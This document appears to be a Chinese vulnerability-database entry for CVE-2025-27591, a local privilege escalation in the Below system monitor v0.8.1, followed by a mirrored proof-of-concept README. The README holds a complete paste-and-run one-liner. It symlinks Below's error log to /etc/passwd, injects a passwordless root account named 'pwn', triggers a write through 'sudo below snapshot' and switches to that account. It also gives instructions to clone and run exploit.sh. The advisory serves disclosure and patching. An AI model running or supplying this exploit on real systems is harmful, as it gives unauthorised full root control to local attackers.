Below Local Privilege Escalation Vulnerability

漏洞信息

漏洞名称： Below Local Privilege Escalation Vulnerability

漏洞编号：

• CVE： CVE-2025-27591

漏洞类型： 权限提升

漏洞等级： 高危

漏洞描述： Below是一个系统监控工具，广泛用于Linux系统中，用于收集和展示系统性能数据。它通常部署在企业级服务器和个人开发环境中，因其轻量级和高效性而受到欢迎。该工具在系统管理员和开发者中有着广泛的应用。

该漏洞（CVE-2025-27591）是一个本地权限提升漏洞，源于Below v0.8.1版本中配置错误的全局可写日志目录（/var/log/below/）以及Rust代码库中的不安全权限逻辑。攻击者可以通过将error_.log符号链接到任何root拥有的文件（如/etc/passwd），利用sudo执行below snapshot时强制设置日志文件模式为0666并写入，即使它是一个符号链接。这允许攻击者注入一个无需密码的root权限用户，从而获得完整的root shell访问权限。

此漏洞的影响极为严重，因为它允许本地攻击者无需任何认证即可提升至root权限，完全控制系统。由于漏洞利用简单且自动化程度高，攻击者可以轻松地在受影响系统上执行恶意操作，如数据泄露、服务中断或进一步的内网渗透。因此，所有使用Below v0.8.1及以下版本的用户应立即升级到最新版本以防范此风险。

产品厂商： Below

产品名称： Below

影响版本： version <= 0.8.1

来源： https://github.com/rvizx/CVE-2025-27591

类型： CVE-2025:github search

仓库文件

• README.md
• exploit.sh

来源概述

Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591)

Below v0.8.1
Local Privilege Escalation via World-Writable Log Symlink
PoC Exploit

---

Introduction

Below version 0.8.1 contains a critical local privilege escalation vulnerability (CVE-2025-27591).
Due to a misconfigured world-writable log directory (/var/log/below/) and insecure permission logic in the Rust codebase, a local attacker can symlink error_<user>.log to any root-owned file like /etc/passwd.

When below snapshot is executed with sudo, it forcibly sets mode 0666 on the log file and writes to it—even if it’s a symlink.
This allows injection of a root-privileged user without password, leading to full root shell access.

---

Usage

git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
````

**OR**

One-liner (Paste and execute)
```bash
u=$(id -un); rm -f /var/log/below/error_$u.log; ln -s /etc/passwd /var/log/below/error_$u.log; echo 'pwn::0:0:root:/root:/bin/bash' > /tmp/pwn_entry; cat /tmp/pwn_entry > /var/log/below/error_$u.log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; su pwn

---

Environment

• Below v0.8.1
• Systemd-managed Linux (Ubuntu, Arch, Fedora, etc.)
• User in sudo group with NOPASSWD access to /usr/bin/below *

---

Credits

Discovered and reported by Matthias Gerstner @ SUSE - Security Advisory

PoC Exploit - Ravindu Wickramasinhge AKA rvz